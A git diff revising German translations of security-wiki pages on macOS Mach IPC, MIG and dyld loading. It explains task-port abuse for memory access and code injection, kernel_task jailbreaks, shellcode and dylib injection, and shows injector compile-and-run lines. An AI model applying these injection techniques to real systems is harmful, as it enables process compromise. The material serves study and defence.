Die möglichen Deskriptoren, die übergeben werden können, sind in [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) definiert:
```c
@@ -150,7 +150,7 @@ unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
```
-In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.
+In 32-Bit sind alle Deskriptoren 12B und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit variieren die Größen.
> [!CAUTION]
> Der Kernel kopiert die Deskriptoren von einer Aufgabe zur anderen, erstellt jedoch zuerst **eine Kopie im Kernel-Speicher**. Diese Technik, bekannt als "Feng Shui", wurde in mehreren Exploits missbraucht, um den **Kernel dazu zu bringen, Daten in seinem Speicher zu kopieren**, wodurch ein Prozess Deskriptoren an sich selbst sendet. Dann kann der Prozess die Nachrichten empfangen (der Kernel wird sie freigeben).
@@ -170,11 +170,11 @@ Beachten Sie, dass Ports mit dem Aufgabennamespace verknüpft sind. Um einen Por
- `mach_port_allocate`: Weisen Sie einen neuen RECEIVE, PORT_SET oder DEAD_NAME zu
- `mach_port_insert_right`: Erstellen Sie ein neues Recht in einem Port, in dem Sie RECEIVE haben
- `mach_port_...`
-- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **Mach-Nachrichten zu senden und zu empfangen**. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
+- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **Mach-Nachrichten zu senden und zu empfangen**. Die Überschreibversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
### Debug mach_msg
-Da die Funktionen **`mach_msg`** und **`mach_msg_overwrite`** verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
+Da die Funktionen **`mach_msg`** und **`mach_msg_overwrite`** die sind, die verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie **`libSystem.B` laden wird, die diese Funktion verwendet**.
@@ -186,10 +186,10 @@ Prozess 71019 gestoppt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Ziel 0: (SandboxedShellApp) gestoppt.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Um die Argumente von **`mach_msg`** zu erhalten, überprüfen Sie die Register. Dies sind die Argumente (aus [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -407,7 +407,7 @@ printf("Sent a message\n");
## Privilegierte Ports
-Es gibt einige spezielle Ports, die es ermöglichen, **bestimmte sensible Aktionen durchzuführen oder auf bestimmte sensible Daten zuzugreifen**, falls eine Aufgabe die **SEND**-Berechtigungen über sie hat. Dies macht diese Ports aus der Sicht eines Angreifers sehr interessant, nicht nur wegen der Möglichkeiten, sondern auch weil es möglich ist, **SEND-Berechtigungen über Aufgaben hinweg zu teilen**.
+Es gibt einige spezielle Ports, die es ermöglichen, **bestimmte sensible Aktionen auszuführen oder auf bestimmte sensible Daten zuzugreifen**, falls eine Aufgabe die **SEND**-Berechtigungen über sie hat. Dies macht diese Ports aus der Perspektive eines Angreifers sehr interessant, nicht nur wegen der Möglichkeiten, sondern auch weil es möglich ist, **SEND-Berechtigungen über Aufgaben hinweg zu teilen**.
### Host-Spezialports
@@ -418,29 +418,29 @@ Diese Ports werden durch eine Nummer dargestellt.
Diese sind in 2 Gruppen unterteilt: Die **ersten 7 Ports gehören dem Kernel**, wobei der 1 `HOST_PORT`, der 2 `HOST_PRIV_PORT`, der 3 `HOST_IO_MASTER_PORT` und der 7 `HOST_MAX_SPECIAL_KERNEL_PORT` ist.\
Die Ports, die **ab** der Nummer **8** beginnen, sind **im Besitz von System-Daemons** und können in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) gefunden werden.
-- **Host-Port**: Wenn ein Prozess **SEND**-Berechtigung über diesen Port hat, kann er **Informationen** über das **System** abrufen, indem er seine Routinen aufruft wie:
+- **Host-Port**: Wenn ein Prozess über dieses Port **SEND**-Privilegien hat, kann er **Informationen** über das **System** abrufen, indem er seine Routinen aufruft wie:
- `host_processor_info`: Prozessorinformationen abrufen
- `host_info`: Hostinformationen abrufen
- `host_virtual_physical_table_info`: Virtuelle/Physische Seitentabelle (erfordert MACH_VMDEBUG)
- `host_statistics`: Hoststatistiken abrufen
- `mach_memory_info`: Kernel-Speicherlayout abrufen
-- **Host Priv-Port**: Ein Prozess mit **SEND**-Recht über diesen Port kann **privilegierte Aktionen** durchführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root sein**, um diese Berechtigung zu erhalten.
+- **Host Priv-Port**: Ein Prozess mit **SEND**-Rechten über diesen Port kann **privilegierte Aktionen** ausführen, wie das Anzeigen von Bootdaten oder den Versuch, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root sein**, um diese Berechtigung zu erhalten.
- Darüber hinaus ist es erforderlich, um die **`kext_request`**-API aufzurufen, andere Berechtigungen **`com.apple.private.kext*`** zu haben, die nur Apple-Binärdateien gewährt werden.
- Andere Routinen, die aufgerufen werden können, sind:
- `host_get_boot_info`: `machine_boot_info()` abrufen
- `host_priv_statistics`: Privilegierte Statistiken abrufen
-- `vm_allocate_cpm`: Kontinuierlichen physischen Speicher zuweisen
-- `host_processors`: Senderecht an Host-Prozessoren
+- `vm_allocate_cpm`: Zusammenhängenden physischen Speicher zuweisen
+- `host_processors`: Senderechte an Host-Prozessoren
- `mach_vm_wire`: Speicher resident machen
- Da **Root** auf diese Berechtigung zugreifen kann, könnte er `host_set_[special/exception]_port[s]` aufrufen, um **Host-Spezial- oder Ausnahmeports zu übernehmen**.
-Es ist möglich, **alle Host-Spezialports zu sehen**, indem man Folgendes ausführt:
+Es ist möglich, **alle Host-Spezialports** durch Ausführen von zu sehen:
```bash
procexp all ports | grep "HSP"
```
### Task Special Ports
-Dies sind Ports, die für bekannte Dienste reserviert sind. Es ist möglich, sie mit `task_[get/set]_special_port` abzurufen/zu setzen. Sie sind in `task_special_ports.h` zu finden:
+Diese Ports sind für bekannte Dienste reserviert. Es ist möglich, sie mit `task_[get/set]_special_port` abzurufen/einzustellen. Sie sind in `task_special_ports.h` zu finden:
```c
typedef int task_special_port_t;
@@ -463,10 +463,10 @@ Ursprünglich hatte Mach keine "Prozesse", sondern "Aufgaben", die eher als Cont
Es gibt zwei sehr interessante Funktionen, die damit zusammenhängen:
-- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem durch die `pid` angegebenen verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
-- `pid_for_task(task, &pid)`: Gegeben ein SEND-Recht zu einer Aufgabe, finde heraus, zu welcher PID diese Aufgabe gehört.
+- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit der durch die `pid` angegebenen verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
+- `pid_for_task(task, &pid)`: Finde, zu welcher PID diese Aufgabe gehört, wenn ein SEND-Recht für eine Aufgabe gegeben ist.
-Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND`-Recht zu sich selbst, indem sie `mach_task_self()` aufruft (was den `task_self_trap` (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
+Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND`-Recht für sich selbst, indem sie `mach_task_self()` aufruft (was den `task_self_trap` (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
- `task_threads`: Erhalte SEND-Recht über alle Task-Ports der Threads der Aufgabe
- `task_info`: Erhalte Informationen über eine Aufgabe
@@ -479,17 +479,17 @@ Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND
> [!CAUTION]
> Beachte, dass es mit einem SEND-Recht über einen Task-Port einer **anderen Aufgabe** möglich ist, solche Aktionen über eine andere Aufgabe auszuführen.
-Darüber hinaus ist der task_port auch der **`vm_map`**-Port, der es ermöglicht, **Speicher innerhalb einer Aufgabe zu lesen und zu manipulieren** mit Funktionen wie `vm_read()` und `vm_write()`. Das bedeutet im Grunde, dass eine Aufgabe mit SEND-Rechten über den task_port einer anderen Aufgabe in der Lage sein wird, **Code in diese Aufgabe zu injizieren**.
+Darüber hinaus ist der task_port auch der **`vm_map`**-Port, der es ermöglicht, **Speicher innerhalb einer Aufgabe zu lesen und zu manipulieren** mit Funktionen wie `vm_read()` und `vm_write()`. Das bedeutet im Wesentlichen, dass eine Aufgabe mit SEND-Rechten über den task_port einer anderen Aufgabe in der Lage sein wird, **Code in diese Aufgabe zu injizieren**.
Denke daran, dass, weil der **Kernel auch eine Aufgabe ist**, wenn es jemandem gelingt, **SEND-Berechtigungen** über die **`kernel_task`** zu erhalten, er in der Lage sein wird, den Kernel alles ausführen zu lassen (Jailbreaks).
-- Rufe `mach_task_self()` auf, um **den Namen** für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur **vererbt** über **`exec()`**; eine neue Aufgabe, die mit `fork()` erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nach `exec()` in einem suid-Binary). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) während eines `fork()` durchzuführen.
-- Dies sind die Einschränkungen für den Zugriff auf den Port (aus `macos_task_policy` aus dem Binary `AppleMobileFileIntegrity`):
+- Rufe `mach_task_self()` auf, um **den Namen** für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur **vererbt** über **`exec()`**; eine neue Aufgabe, die mit `fork()` erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nach `exec()` in einer suid-Binärdatei). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) während eines `fork()` durchzuführen.
+- Dies sind die Einschränkungen für den Zugriff auf den Port (aus `macos_task_policy` aus der Binärdatei `AppleMobileFileIntegrity`):
- Wenn die App die **`com.apple.security.get-task-allow`-Berechtigung** hat, können Prozesse vom **gleichen Benutzer auf den Task-Port zugreifen** (häufig von Xcode zum Debuggen hinzugefügt). Der **Notarisierungs**-Prozess erlaubt dies nicht für Produktionsversionen.
- Apps mit der **`com.apple.system-task-ports`**-Berechtigung können den **Task-Port für jeden** Prozess erhalten, außer für den Kernel. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
- **Root kann auf Task-Ports** von Anwendungen **nicht** zugreifen, die mit einer **hardened** Runtime (und nicht von Apple) kompiliert wurden.
-**Der Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was anscheinend darüber verfügbar ist, ist `task_info()`.
+**Der Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch keine Kontrolle darüber. Das einzige, was anscheinend darüber verfügbar ist, ist `task_info()`.
### Thread Ports
@@ -768,15 +768,15 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
> [!TIP]
-> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um einen beschreibbaren Speicher ausführbar zu machen.
+> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um ausführbaren Speicher beschreibbar zu machen.
### Dylib-Injektion in den Thread über Task-Port
-In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir bei der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erzeugt, daher ist er **nicht posix-konform**.
+In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir in der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erstellt, daher ist er **nicht posix-konform**.
Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
-Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, um **einen gültigen pthread** zu erstellen. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
+Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
@@ -1078,7 +1078,7 @@ Beim Aufruf von `task_for_pid` oder `thread_create_*` wird ein Zähler in der St
Wenn eine Ausnahme in einem Thread auftritt, wird diese Ausnahme an den vorgesehenen Ausnahmeport des Threads gesendet. Wenn der Thread sie nicht behandelt, wird sie an die Ausnahmeports des Tasks gesendet. Wenn der Task sie nicht behandelt, wird sie an den Hostport gesendet, der von launchd verwaltet wird (wo sie anerkannt wird). Dies wird als Ausnahme-Triage bezeichnet.
-Beachten Sie, dass am Ende, wenn sie nicht ordnungsgemäß behandelt wird, der Bericht normalerweise vom ReportCrash-Daemon behandelt wird. Es ist jedoch möglich, dass ein anderer Thread im selben Task die Ausnahme verwaltet, was Tools zur Absturzberichterstattung wie `PLCreashReporter` tun.
+Beachten Sie, dass am Ende, wenn sie nicht ordnungsgemäß behandelt wird, der Bericht normalerweise vom ReportCrash-Daemon behandelt wird. Es ist jedoch möglich, dass ein anderer Thread im selben Task die Ausnahme verwaltet, was Crash-Reporting-Tools wie `PLCreashReporter` tun.
## Other Objects
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 849df96df..9e7a8ee6c 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
-Beachten Sie, dass das erste **Argument der Port ist, an den gebunden werden soll**, und MIG wird **automatisch den Antwortport verwalten** (es sei denn, `mig_get_reply_port()` wird im Client-Code aufgerufen). Darüber hinaus wird die **ID der Operationen** **sequentiell** beginnend mit der angegebenen Subsystem-ID sein (wenn eine Operation veraltet ist, wird sie gelöscht und `skip` wird verwendet, um ihre ID weiterhin zu verwenden).
+Beachten Sie, dass das erste **Argument der Port ist, an den gebunden werden soll** und MIG **automatisch den Antwortport verwaltet** (es sei denn, `mig_get_reply_port()` wird im Client-Code aufgerufen). Darüber hinaus wird die **ID der Operationen** **sequentiell** beginnend mit der angegebenen Subsystem-ID sein (wenn eine Operation veraltet ist, wird sie gelöscht und `skip` wird verwendet, um ihre ID weiterhin zu verwenden).
Verwenden Sie nun MIG, um den Server- und Client-Code zu generieren, der in der Lage ist, miteinander zu kommunizieren, um die Subtract-Funktion aufzurufen:
```bash
@@ -49,8 +49,8 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
Mehrere neue Dateien werden im aktuellen Verzeichnis erstellt.
> [!TIP]
-> Sie können ein komplexeres Beispiel in Ihrem System mit: `mdfind mach_port.defs` finden.\
-> Und Sie können es aus demselben Ordner wie die Datei mit: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` kompilieren.
+> Sie können ein komplexeres Beispiel in Ihrem System finden mit: `mdfind mach_port.defs`\
+> Und Sie können es aus demselben Ordner wie die Datei kompilieren mit: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
In den Dateien **`myipcServer.c`** und **`myipcServer.h`** finden Sie die Deklaration und Definition der Struktur **`SERVERPREFmyipc_subsystem`**, die im Grunde die Funktion definiert, die basierend auf der empfangenen Nachrichten-ID aufgerufen werden soll (wir haben eine Startnummer von 500 angegeben):
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -219,7 +219,7 @@ USERPREFSubtract(port, 40, 2);
Der NDR_record wird von `libsystem_kernel.dylib` exportiert und ist eine Struktur, die es MIG ermöglicht, **Daten so zu transformieren, dass sie systemunabhängig sind**, da MIG ursprünglich für die Verwendung zwischen verschiedenen Systemen gedacht war (und nicht nur auf derselben Maschine).
-Dies ist interessant, da das Vorhandensein von `_NDR_record` in einer Binärdatei als Abhängigkeit (`jtool2 -S | grep NDR` oder `nm`) bedeutet, dass die Binärdatei ein MIG-Client oder -Server ist.
+Das ist interessant, weil das Vorhandensein von `_NDR_record` in einer Binärdatei als Abhängigkeit (`jtool2 -S | grep NDR` oder `nm`) bedeutet, dass die Binärdatei ein MIG-Client oder -Server ist.
Darüber hinaus haben **MIG-Server** die Dispatch-Tabelle in `__DATA.__const` (oder in `__CONST.__constdata` im macOS-Kernel und `__DATA_CONST.__const` in anderen \*OS-Kernen). Dies kann mit **`jtool2`** ausgegeben werden.
@@ -250,13 +250,13 @@ Es wurde zuvor erwähnt, dass die Funktion, die sich um **das Aufrufen der richt
var_10 = arg0;
var_18 = arg1;
// Anfangsinstruktionen, um die richtigen Funktionszeiger zu finden
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Aufruf von sign_extend_64, der helfen kann, diese Funktion zu identifizieren
// Dies speichert in rax den Zeiger auf den Aufruf, der aufgerufen werden muss
@@ -289,7 +289,7 @@ return rax;
{{#endtab}}
{{#tab name="myipc_server decompiled 2"}}
-Dies ist dieselbe Funktion, die in einer anderen kostenlosen Hopper-Version dekompiliert wurde:
+Dies ist die gleiche Funktion, die in einer anderen Hopper-Free-Version dekompiliert wurde:
int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Anfangsinstruktionen, um die richtigen Funktionszeiger zu finden
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (die Start-ID)
r8 = r8 - 0x1f4;
@@ -328,13 +328,13 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
-// Dasselbe if-else wie in der vorherigen Version
+// Das gleiche if-else wie in der vorherigen Version
// Überprüfen der Verwendung der Adresse 0x100004040 (Funktionsadressenarray)
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index af89e310d..af5d4b728 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -4,7 +4,7 @@
## Grundinformationen
-Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, der in `LC_LOAD_DYLINKER` definiert ist, normalerweise ist es `/usr/lib/dyld`.
+Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, der in `LC_LOAD_DYLINKER` definiert ist, normalerweise `/usr/lib/dyld`.
Dieser Linker muss alle ausführbaren Bibliotheken finden, sie im Speicher abbilden und alle nicht-lazy Bibliotheken verlinken. Erst nach diesem Prozess wird der Einstiegspunkt der Binärdatei ausgeführt.
@@ -15,22 +15,20 @@ Natürlich hat **`dyld`** keine Abhängigkeiten (es verwendet Syscalls und Ausz
### Ablauf
-Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack Canary** lädt. Dies liegt daran, dass diese Funktion in ihrem **`apple`** Argumentvektor diesen und andere **sensible** **Werte** erhält.
+Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack Canary** lädt. Dies liegt daran, dass diese Funktion in ihrem **`apple`** Argumentvektor diese und andere **sensible** **Werte** erhält.
-**`dyls::_main()`** ist der Einstiegspunkt von dyld und seine erste Aufgabe ist es, `configureProcessRestrictions()` auszuführen, das normalerweise die **`DYLD_*`** Umgebungsvariablen einschränkt, die in:
+**`dyls::_main()`** ist der Einstiegspunkt von dyld und seine erste Aufgabe ist es, `configureProcessRestrictions()` auszuführen, das normalerweise die **`DYLD_*`** Umgebungsvariablen einschränkt, die in folgendem erklärt werden:
{{#ref}}
./
{{#endref}}
-erklärt werden.
-
Dann wird der dyld Shared Cache abgebildet, der alle wichtigen Systembibliotheken vorverlinkt, und dann werden die Bibliotheken abgebildet, von denen die Binärdatei abhängt, und es wird rekursiv fortgefahren, bis alle benötigten Bibliotheken geladen sind. Daher:
-1. beginnt es mit dem Laden der eingefügten Bibliotheken mit `DYLD_INSERT_LIBRARIES` (wenn erlaubt)
+1. Es beginnt mit dem Laden der eingefügten Bibliotheken mit `DYLD_INSERT_LIBRARIES` (wenn erlaubt)
2. Dann die gemeinsam genutzten, zwischengespeicherten
3. Dann die importierten
-1. Dann weiterhin rekursiv Bibliotheken importieren
+1. Dann weiterhin rekursiv Bibliotheken importieren
Sobald alle geladen sind, werden die **Initialisierer** dieser Bibliotheken ausgeführt. Diese sind mit **`__attribute__((constructor))`** codiert, die in den `LC_ROUTINES[_64]` (jetzt veraltet) definiert sind oder durch einen Zeiger in einem Abschnitt, der mit `S_MOD_INIT_FUNC_POINTERS` gekennzeichnet ist (normalerweise: **`__DATA.__MOD_INIT_FUNC`**).
@@ -38,21 +36,21 @@ Terminatoren sind mit **`__attribute__((destructor))`** codiert und befinden sic
### Stubs
-Alle Binärdateien in macOS sind dynamisch verlinkt. Daher enthalten sie einige Stub-Abschnitte, die der Binärdatei helfen, zum richtigen Code auf verschiedenen Maschinen und in verschiedenen Kontexten zu springen. Es ist dyld, das beim Ausführen der Binärdatei das Gehirn ist, das diese Adressen auflösen muss (zumindest die nicht-lazy).
+Alle Binärdateien in macOS sind dynamisch verlinkt. Daher enthalten sie einige Stub-Abschnitte, die der Binärdatei helfen, zum richtigen Code in verschiedenen Maschinen und Kontexten zu springen. Es ist dyld, das beim Ausführen der Binärdatei das Gehirn ist, das diese Adressen auflösen muss (zumindest die nicht-lazy).
Einige Stub-Abschnitte in der Binärdatei:
-- **`__TEXT.__[auth_]stubs`**: Zeiger aus `__DATA`-Abschnitten
-- **`__TEXT.__stub_helper`**: Kleiner Code, der das dynamische Verlinken mit Informationen zur aufzurufenden Funktion aufruft
-- **`__DATA.__[auth_]got`**: Global Offset Table (Adressen zu importierten Funktionen, wenn aufgelöst, (gebunden zur Ladezeit, da es mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet ist)
-- **`__DATA.__nl_symbol_ptr`**: Nicht-lazy Symbolzeiger (gebunden zur Ladezeit, da es mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet ist)
+- **`__TEXT.__[auth_]stubs`**: Zeiger aus `__DATA` Abschnitten
+- **`__TEXT.__stub_helper`**: Kleiner Code, der dynamisches Linking mit Informationen zur aufzurufenden Funktion aufruft
+- **`__DATA.__[auth_]got`**: Global Offset Table (Adressen zu importierten Funktionen, wenn aufgelöst, (gebunden zur Ladezeit, da mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet))
+- **`__DATA.__nl_symbol_ptr`**: Nicht-lazy Symbolzeiger (gebunden zur Ladezeit, da mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet)
- **`__DATA.__la_symbol_ptr`**: Lazy Symbolzeiger (gebunden beim ersten Zugriff)
> [!WARNING]
-> Beachten Sie, dass die Zeiger mit dem Präfix "auth\_" einen in-process Verschlüsselungsschlüssel verwenden, um ihn zu schützen (PAC). Darüber hinaus ist es möglich, die arm64-Anweisung `BLRA[A/B]` zu verwenden, um den Zeiger zu überprüfen, bevor man ihm folgt. Und die RETA\[A/B] kann anstelle einer RET-Adresse verwendet werden.\
+> Beachten Sie, dass die Zeiger mit dem Präfix "auth\_" einen in-Prozess-Verschlüsselungsschlüssel zum Schutz verwenden (PAC). Darüber hinaus ist es möglich, die arm64-Anweisung `BLRA[A/B]` zu verwenden, um den Zeiger zu überprüfen, bevor man ihm folgt. Und die RETA\[A/B] kann anstelle einer RET-Adresse verwendet werden.\
